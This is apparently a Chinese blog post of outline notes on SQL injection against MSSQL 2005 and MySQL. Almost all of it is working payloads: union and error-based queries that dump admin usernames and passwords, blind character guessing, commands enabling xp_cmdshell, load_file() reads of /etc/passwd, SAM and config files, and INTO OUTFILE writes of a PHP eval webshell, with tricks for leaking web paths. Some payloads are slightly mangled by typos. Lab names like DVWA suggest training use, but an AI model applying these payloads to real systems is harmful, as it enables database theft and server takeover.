      • and 1=2 union all select 1,(select top 1 isnull(cast([name] as nvarchar(100)),char(32))%2bchar(94)%2bisnull(cast (password as nvarchar(100)),char(32)) from [admin]),3 from sysobjects

        • 得到第一个字段值
      • and 1=2 union all select 1,(select top 1 isnull(cast([name] as nvarchar(100)),char(32))%2bchar(94)%2bisnull(cast (password as nvarchar(100)),char(32)) from [admin]),where 1=1 and name not in(select top 1 name from admin)),3 from sysobjects

2.3 MsSQL 2005注入

  • 攻击主要分为两种类型

    • 一种是显错模式

      • 可以直接爆出数据库内容
    • 另一种是不显错模式

      • 由于数据库不报错,只能利用盲注入攻击手法
  • 判断MsSQL 2005数据库

    • 注入语句: and substring((select @@version),22,4)=‘2005’
    • 如果页面返回正常,则说明数据库版本为MsSQL 2005
  • 显错模式爆数据

    • 爆数据库名

      • //and//(select//top//1//isnull(cast([name]//as//nvarchar(500)),char(32))%2bchar(124)//from//[master].[dbo].[sysdatabases]//where//dbid//in//(select//top//1//dbid//from//[master].[dbo].[sysdatabases]//order//by//dbid//desc))%3d0–
      • /**/用来代替空格,以绕过防注入过滤程序。修改增加top后面的数字,就可以逐个猜出所有数据库名
    • 爆数据表

      • //and//(select//top//1//cast(name//as//varchar(200))//from//(select//top//1//name//from//数据库名
        .[sys].[all_objects]//where//type%3dchar(85)//order//by//name)//t//order//by//name//desc)%3d0–

      • 指定所要列的—数据库名(TestDB),修改top后面部分的数字1,就可以逐个猜出指定数据库中的所有数据表名

    • 爆字段名

      • and (select top 1 cast([id] as nvarchar(20))%2bchar(94) from [TestDB].[sys].[sysobjects] where name=0x410064006D0069006E00)>0–
      • from[TestDB]为数据库名,name=0x410064006D0069006E00(admin)为16进制数据表名,爆出表Admin的dbid值
    • 爆字段内容

      • 爆出字段列名数目

        • //and//(selcet//top//1//cast(name//as//varchar(500))//from//(select//top//n//column_id,name//from//[数据库名].[sys].[all_columns]//where//object_id=dbid 值 //order//by//column_id)//t//order//by//column_id//desc)>0–
        • 修改top后的n值,可以得到所有字段名
      • 爆字段内容

        • //and//(select//top//1//isnull(cast([字段名 1]
          /
          /as//nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([字段名 2]
          /
          /as//nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([字段名 3]
          /
          /as//nvarchar(4000)),char(32))//from//[数据库名]
          …[表名]
          /
          /where//1=1//and//id//not//in//(select//top//0//id//from//[数据库名]…
          [表名]/
          /where//1=1//group//by//id))>0//and//1=1

        • 举例:字段1:id,字段2:name,字段3:password,数据库名:TestDB,表名:admin----可以得到用户名,密码

    • 利用扩展存储的注入攻击技术

      • MsSQL 2005默认没有开启xp_cmdshell扩展存储,Openrowset扩展存储也不能使用.
        如果注入点处是SA权限.可以开启扩展存储后再执行系统命令或查询攻击

      • 开启Openrowset

        • EXEC//sp_configure//‘show//advanced//options’,//1;RECONFIGURE;–
          EXEC/
          /sp_configure//'Ad//Hoc//Distributed//Queries’,/**/1;RECONFIGURE;–
      • 开启xp_cmdshell

        • EXEC//sp_configure//'Ad//Hoc//Distributed//Queries’,1;RECONFIGURE;–
          EXEC/
          /sp_configure//'show//advanced//options’,1;RECONFIGURE;EXEC//sp_figure/**/‘xp_cmdshell’,1;RECONFIGURE;–
      • 开启扩展存储后,就可以参照之前版本的MsSQL注入攻击技术.通过扩展存储直接实施服务器攻击

  • 不显错模式

    • 盲注入攻击技术

      • 猜数据库dbid

        • and (select count(*) from master.dbo.sysdatabases where dbid=1)>0

          • 逐步增加dbid=1的数值,当页面返回出错时,可得到数据库dbid的最大值。
      • 猜解数据库名长度

        • and (select count(*) from master.dbo.sysdatabases where dbid=dbid值 and len(name)>1)>0

          • 指定数据库的dbid值,可以猜解出数据库名的长度
      • 猜解数据库名

        • 与Access注入猜解原理类似,通过判断数据库名每一位的ASCII码值,返回查出其对应的字符,从而得到完整的数据库名
        • and (select count(*)frommaster.dbo.sysdatabases where dbid=dbid 值 and ascii(substring(name,1,1))>1>0
        • 递增第3个数字1的值,可得到数据库名第一位字符对应的ASCII码值。然后用同样的方法可以猜解出其他位字符的ASCII码值,反查得出数据库名
      • 猜解管理员表

        • 得到数据库名后,可以用同样的方法反查ASCII码,猜解出管理员表。

        • and (select count(*) from master.dbo.sysdatabases where dbid=1)>0

          • 该语句可以尝试查看是否有包含adman的管理员表名。
            如果该数据库中包含敏感的管理员表,则可继续猜测其中的表名。
        • 先猜解表名长度

          • and (select count(*) from master.dbo.sysdatabases where dbid=dbid 值 and len (name)>1)>0

            • 递增name后数字1,直到页面返回错误信息,可得到表名长度
        • 然后猜解表名内容

          • and (select count(*) from master.dbo.sysdatabases where dbid=dbid 值 and ascii(substring(name,1,1))>1)>0

            • 递增第三个黑体数字1,直到页面返回错误信息,可得到表名第一位字符对应的ASCII码值。
              用同样的方法,可以猜解出其他位对应的ASCII码值,反查出表名字符。
      • 猜解字段名

        • 猜解出表名后,可以继续用同样的方法反查ASCII码,猜解出表中的字段。
        • and (select count(*) from 数据库名.dbo.syscolumns where name in (select top 1 name from 数据库名_db.dbo.syscolumns where id=object_id(‘数据库名.dbo.table’)) and ascii(substring(name,1,1))>1)=1
        • 递增大于号>后面数字1,直到页面返回错误信息,可得到表中的字段第一位字符对应的ASCII码值。用同样的方法,可以猜解出其他位对应的ASCII码值,反查出完整的字段名。
      • 猜解字段内容

        • 猜解字段内容的原理方法也类似,同样是反查ASCII码逐位进行猜解,可参考前面的Access数据库注入猜解方法及原理。

mysql数据库

MySQL数据库通常与PHP网页程序搭建网站平台

  • 各大门户网站采用MySQL+PHP的网站结构,例如新浪、网易、TOM网站等

mysql4与5区别

  • MySQL 4版本数据库由于存在着字符转义与不支持子句查询的情况,因此在注入攻击上存在着很大的局限性,只能采用类似Access的方法进行查询猜解。
    首先,利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断。
  • MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多
    通过load_file()函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。
    通过dumpfile/outfile函数导出获取WebShell。

MySQL 4注入攻击技术

  • 利用order by获得当前表的字段数

  • 再使用union select联合查询来获取想要的数据库信息

    • 使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断

MySQL 5注入攻击技术

  • 常用的注入攻击方式

    • 通过对MySQL的数据进行猜解获取敏感的信息,来进一步通过网站的各种功能获取控制权
    • 通过load_fileO函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。
    • 通过dumpfile/outfile函数导出获取WebShell
    • MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多
  • information_schema注入

    • 数据库是MySQL系统自带的数据库

      • 保存着关于MySQL服务器所维护的所有其他数据库的信息
    • 通过注入获取information_schema.tables表中的信息

      • information_schema.tables :information_schema数据库名下表名tables 记录所有数据库名下的所有表名信息的表
      • information_schema.columns是记录所有数据库名下的所有列名信息的表
    • 注入步骤

      • order by来判断查询的字段

        • ’ order by 1,2–+&Submit=Submit#
      • 获取pikachu数据库的表名

        • vince’ union select database(),user(),3#%

          • 数据库和表名
        • 1、u’ union select table_schema ,table_name,3 from information_schema.tables where table_schema=‘pikachu’#
          pikachu为上一步查询到的数据库名称

        • 2、UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761±-+&Submit=Submit

      • 获取pikachu数据库的字段名

        • 1、k’ union select table_name,column_name,3 from information_schema.columns where table_name=‘users’#%
        • 2、’ UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273±-+&Submit=Submit
      • 获取字段值的内容

        • kobe’union select username ,password,3 from users#%
          获取users表中的用户名和密码,其他用3做为通配
        • kobe’union select username ,email,3 from member#%
          获取member表中的用户名和邮箱,其他用3做为通配
        • ’ UNION SELECT user,password from users±-+&Submit=Submit
  • load_file()函数注入攻击

    • 利用order by获得当前表的字段数

      • 数据库后端查询:Mysql>select first_name,last_name from user where user_id=”order by 3+–+’

      • 注入:”order by 3+–+’

        • 改变 by 后面的数值,返回错误则没有
    • 构造union select语句,来查询正在使用中的用户user()、数据库database()、数据库版本version()、服务器操作系统@@version_compile_os,

      • ‘union select user(),database()+–-+

        • 用户名和数据库名
      • ‘union select version(),@@version_compile_os+–-+

        • 版本和操作系统
    • 利用load_fileQ函数,在union select联合查询中直接读取服务器上的文件

    • 如果Web服务器和数据库服务器没有分离,找到Web路径之后还可以用select into outfileO函数,
      将一句话木马查询结果导出到Web目录

  • mysql用户名密码存储位置

    • 数据库最高权限用户是root 密码保存在mysql数据库的user表中,密码是采用mysql5特有的加密,通过cmd5网站进行解密或通过cain等这类专业可以对mysql hash破解.
      所以对数据库做安全的时候无论如何不能给网站root 权限,一定要给一个普通用户权限。
    • 在线解密:www.cmd5.com
  • 服务器文件进行读写操作

    • 使用into outfile需要有以下条件

      • 1、需要知道远程目录
      • 2、需要远程目录有写权限
      • 3、需要数据库开启secure_file_priv
    • 数据库开启secure_file_priv

      • into outfile 可将select的结果写入指定目录的txt中,但需要数据库开启secure_file_priv,怎么开启secure_file_priv。
      • 在mysql安装目录的my.ini文件中的[mysqld]添加secure_file_priv = ’ ';
      • 以管理员身份运行cmd,进入mysql/bin停止mysql服务net stop mysql
      • 重新启动mysql服务net start mysql
      • 登入mysql mysql -u root -p enter password: password
      • 执行命令show variables like ‘%secure%’;
      • 查看secure_file_priv的值(这里已经将secure_file_priv的值设为空,但正常显示为NULL和文件路径)
    • 通过联合查询对服务器进行读写操作

      • 利用注入读取/ect/passwd 文件(linux系统)
        ‘UNION SELECT 1, load_file(/etc/passwd) +–+
      • 使用联合查询语句构造,利用注入读取c:\1.txt (Windows系统)
        ‘ UNION SELECT 1, load_file(‘c:\1.txt’) +–+
        或者 ‘ union select 1, load_file(‘c:/1.txt’) +–+
    • 如果出现以下情况:

      • Query Errot:SELECT CID,TITLE FROM CMS_CONTENTINDEX WHERE TID=25950\’AND 1=2 UNION SELECT LOAD_FILE(’C:\BOOT.INI\’),2

        • 显然,在“php.ini"配置文件中magic_quotes_gpc为on或在接受参数的时候用了addslashes()涵数,单引号就会被自动转义成’,因此函数未能正确执行功能.要绕开此过滤,
      • 可将c:\boot.ini转换成十六进制,转换后为:0x633A5C5C626F6F742E696E69.再提交

        • %27%20union%20select%201,load_file(0x633A5C5C626F6F742E696E69)±-+&Submit=Submit
        • and 1=2 union select 1,load_file(0x633A5C5C626F6F742E696E69)±-+&Submit=Submit
    • 对服务器进行写操作

      • %27%20union%20select%20’568311803’,2 into outfile 'c:/muma.txt’±-+&Submit=Submit

      • %27%20union%20select%200x3C3F70687020406576616C28245F504F53545B2763686F70706572275D293B3F3E,2 into outfile 'c:/muma.txt’±-+&Submit=Submit #写入一句话木马

        • 为什么要把一句话木马转化为十六进制,因为一句话木马里面也有单引号,再用单引号引起来会容易造成混淆。
          所以得出结论:如果用编码就不要用单引号,用单引号就不要用编码。
  • 怎么获取Web路径

    • 要对服务器进行读写我们需要网站路径才能得到webshell

      • (1)一般可以在变量后面加上单引号、改变参数类型、增加参数位数等来造成MySQL数据库出错,爆出Web物理路径。

      • (2)通过扫描器扫web服务器遗留文件 php.php、info.php、phpinfo.php、test.php

      • (3)利用搜索引擎来查找Web目录。搜索引擎有时候会对网站页面进行快照抓取,包括脚本出错页面,因此可利用搜索引擎查找网站的出错信息,从而获得网站的物理路径。可在Google或百度中搜索“mysql site:***.com”或“warning site:***.com,error site:***.com.cn”等。

        • 这里使用“error site:***.com”关键字进行查询,从搜索结果中得到了网站的物理路径为“E:\pujing2015”。
      • (4) 漏洞暴路径,例如通过网站后台查看网站Web路径、CC攻击暴路径等.

      • (5)通过配置文件找网站路径,在百度里面输入***配置文件,如:IIS6.0配置文件,可以找到: C:\WINDOWS\system32\inetsrv\MetaBase.xml 和C:\WINDOWS\system32\inetsrv\MetaBase.bin 这两个配置文件(小技巧:在百度里面输入:load_file()常用敏感信息,就可以找到别人入侵过程中总结的常用敏感文件路径)。

        • %27%20union%20select%201,load_file(C:\WINDOWS\system32\inetsrv\MetaBase.xml)±-+&Submit=Submit
  • 利用sql注入写入webshell

    • 假设我们通过phpinfo文件知道了网站的物理路径,接下来我们通过使用union select语句来写入webshell.
      写入需要有写入权限等

    • ‘ union select 1,’‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +–+ //这种反斜扛/本地没测试,大家测试一下,推见大家用两个反\方法

    • ’ union select “<?php @eval($_POST['chopper']);?>”,2 into outfile "c:\php\htdocs\dvwa\123.php"±-+&Submit=Submit

MysQL获取web路径方法

  • 直接在出错信息中显示Web路径

    • 在注入点处加单引号,或者修改提交变量类型,让查询语句出错,从出错信息中往往可以爆出网站Web物理路径
  • load_file(char(47))列出freebsd目录

    • 字符“/”的ASCII码是47
  • "/etc/passwd”文件中的工作目录

    • 从中可看到系统中有apache用户,其工作目录为“/var/www/ "有些网站会写上具体路径o而且网站用户名有的就是对应/etc/passwd里面的用户或文件夹名等等。
  • 读取apache的配置文件“httpd.conf”,获取Web路径

    • 在*nix系统中,可以利用laod_file()尝试读取以下路径查看"apache”配置文件

      • /etc/init.d/apache
        /etc/init.d/apache2
        /etc/httpd/httpd.conf
        /etc/apache/apache.conf
        /etc/apache/httpd.conf
        /etc/apache2/apache2.conf
        /etc/apache2/httpd.conf
        /usr/local/apache2/conf/httpd.conf
        /usr/local/apache/conf/httpd.conf
        /opt/apache/conf/httpd.conf
        /home/apache/httpd.conf
        /home/apache/conf/httpd.conf
        /etc/apache2/sites-available/default
    • 在Windows系统中,可以尝试读取以下路径查看apache配置文件

      • C:\Program Files\Apache Group\Apache\conf\httpd.conf
        C:\Program Files\Apache Group\Apache2\conf\httpd.conf
        C:\Program Files\Apache Software Foundation\Apache2.2\conf\httpd.conf
        C:\apache\confthttpd.conf
        也可以将换盘符C换为D, E, F等进行尝试。
  • 利用load_file()读取各种配置文件

    • 在MySQL注入中,load_file()函数除了用于读取网页脚本程序源代码外,还可以用来读取其他各种敏感的配置文件,方便获得WebShell或进行提权。

    • load_file()读取服务器配置文件

      • /user/local/app/apache2/conf/extra/http-vhosts.conf //虚拟网站设置
        /user/local/app/php5/lib/php.ini //php相关设置
        /etc/sysconfig/iptables //防火墙规则策略
        /etc/rsyncd.conf //同步程序配置
        /etc/sysconfig/network-script/ifcfg-eth0 //查看IP
        /etc/my.cnf //Mysql的配置文件
        /etc/redhat-release //系統版本
        /etc/issue //系統版本
        /etc/issue.net //系統版本
        /usr/local/resin/conf/resin.conf //查看Linux系统配置的JSP虚拟主机
        /usr/local/resin-pro-3.0.22/conf/resin.conf
        /usr/local/resin-3.0.22/conf/resin.conf //查看RESIN 3.0.22配置文件
        c:\mysql\data\mysql\user.MYD //存储了“mysql.user”表中的数据库链接密码c:\program files\rhinosoft.com\serv-u\servudaemon.ini
        c:\program files\serv-u\servudaemon.ini //FTP软件配置文件,存储虚拟主机网站路径和密码
        c:\program files\mysql\my.ini
        c:\windows\my.ini //Mysql配置文件
        c:\windows\system32\inetsrv\metabase.xml //IIS配置文件
        c:\resin\conf\resin.conf
        c:\resin-3.0.14\conf\resin.conf //查看JSP网站“resin”文件配置信息
    • load_file()读取二进制文件

      • c:\windows\repair\sam //windows系统初次安装时的密码
        c:\program files\serv-u\servuadmin.exe //serv-U 6.0及之前版本的管理员密码文件
        c:\program files\rhinosoft.com\servudaemo.exe
        c:\documents and setting\all users\application data\symantec\pcanywhere*.cif //pcanywhere登陆密码文件
    • load_file()函数读取文件时不可忽略的问题

      • replace(load_file(char(文件路径十六进制代码)),char(60),char(32))
      • 这句代码的意思是,将返回文件内容中的“<”替换成空格,这样就可以屏蔽网页效果,从而查看到真实的网页内容了

LIMIT子句查询在MySQL 5注入中的利用

  • 简介

    • 当MySQL版本在5.0以上,而且链接数据库账号是普通用户时,如果无权限读取网页源文件或重要的配置文件,那么可以通过猜解列出管理员信息,然后登录后台再上传WebShell。
    • 4.0以上支持union
    • 4.1以上支持子查询
    • 5.0以上有了系统表
  • information_schema结构包含数据库关键信息

    • MySQL 5数据库中的information_schema结构

      • TABLES_IN_INFORMATION_SCHEMA
      • CHARACTER_SETS
      • COLLATIONS
      • CONLLATION_CHARACTE_SET_APPLICABILITY
      • COLUMNS
      • COLUMN_PRIVILEGES
      • KEY_COLUMN_USAGE
      • ROUTINES
      • SCHEMATA
      • SCHEMA_PRIVILEGES
      • STATISTICS
      • TABLES
      • TABLE_CONSTRAINTS
      • TABLE_PRIVILEGES
      • TRIGGERS
      • USER_PRIVILEGES
      • VIEWS
    • 常用表

      • "SCHEMATA”表,用于存储数据库名。其中的关键字段为SCHEMA_NAME,表示数据库名称。“’
      • "TABLES”表,用于存储表名。关键字段TABLE_SCHEMA表示表所属的数据库名称;关键字段TABLE_NAME表示表的名称.
      • "COLUMNS”表,用于存储字段名.其中的关键字段TABLE SCHEMA表示表所属的数据库名称;
        字段TABLE NAME表示所属的表的名称;COLUMN_NAME表示字段名.
      • 可以看到,在MySQL 5数据库注入过程中,只要通过注射点构造语句查询相关字段,就可以得到任意想要的信息。
  • LIMIT子句查询指定数据

    • SELECT * FROM table LIMIT [iffset,] rows | rows OFFSET offset

      • LIMIT接受一个或两个数字参数,参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。需要注意的是,初始记录行的偏移量是0而不是1
    • 举例

      • SELECT * FROM table LIMIT 0,1

        • 可检索记录行中的第一条数据内容
      • SELECT * FROM table LIMIT 1,1

        • 可检索记录行中的第二条数据内容
  • LIMIT爆库、爆表与爆字段

    • 爆数据库

      • and 1=2 union select 1,database()/*

        • 爆出当前数据库名
      • and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1/*

        • 增加数字0,可查询爆出所有的数据库名
    • 爆表名

      • and 1=2 union select 1,2,3,TABLE_NAME,4,5,6,7…from
        information_schema.TABLES where TABLE_SCHEMA=库名十六进制代码 limit 0,1/*

        • 增加数字0,查询爆出指定数据库中的所有表名
    • 爆字段

      • and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7…from
        information_schema.TABLES where TABLE_NAME=表名十六进制代码 limit 0,1/*

        • 增加数字0,查询爆出指定表中的所有字段名

group_concat()快速实施MySQL注入攻击

  • 爆所有数据名

    • select group_concat(SCHEMA_NAME) from information_schema.schemata

      • 查询“SCHEMATA”表中的SCHEMA_NAME字段,从而获得所有数据库名称
  • 爆当前库的所有表

    • select group_concat(table_name) from information_schema.tables where table_schema=database()

      • 查询“TABLES”表中的TABLE NAME字段,其查询条件为数据库名称字段TABLE_SCHEMA值为当前数据库,
        从而获得当前数据库中的所有表名
    • 如果只需找后台密码,可以不必爆所有表名,直接快速定位pass字段在那个表中,提交查询

      • select group_concat(table_name) from information_schema.tables where table_schema=database() and COLUMN_NAME like 0x257061737325

        • 直接爆出包含有pass字段的表名,然后再爆此表的所有列字段名
  • 爆表中的字段名

    • select group_concat(SCHEMA_NAME) from information_schema.schemata.columns where table_name=表名的十六进制编码

      • 将指定的表名转换为十六进制编码,查询该表名中“COLUMNS”表中存储的与该表名相同的数据库中的所有字段名,从而获得当前数据库指定表中的所有字段名
  • 爆指定字段值

    • select group_concat(字段名1,0x7c,字段名2) from 表名

      • 查询指定表中指定字段名的值,在此查询语句中就不必对字段名和表名进行十六进制编码转换了。
      • 其中有一个Ox7c是分隔符“|”的十六进制编码,用于对查询结果中的字段名进行分隔显示
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值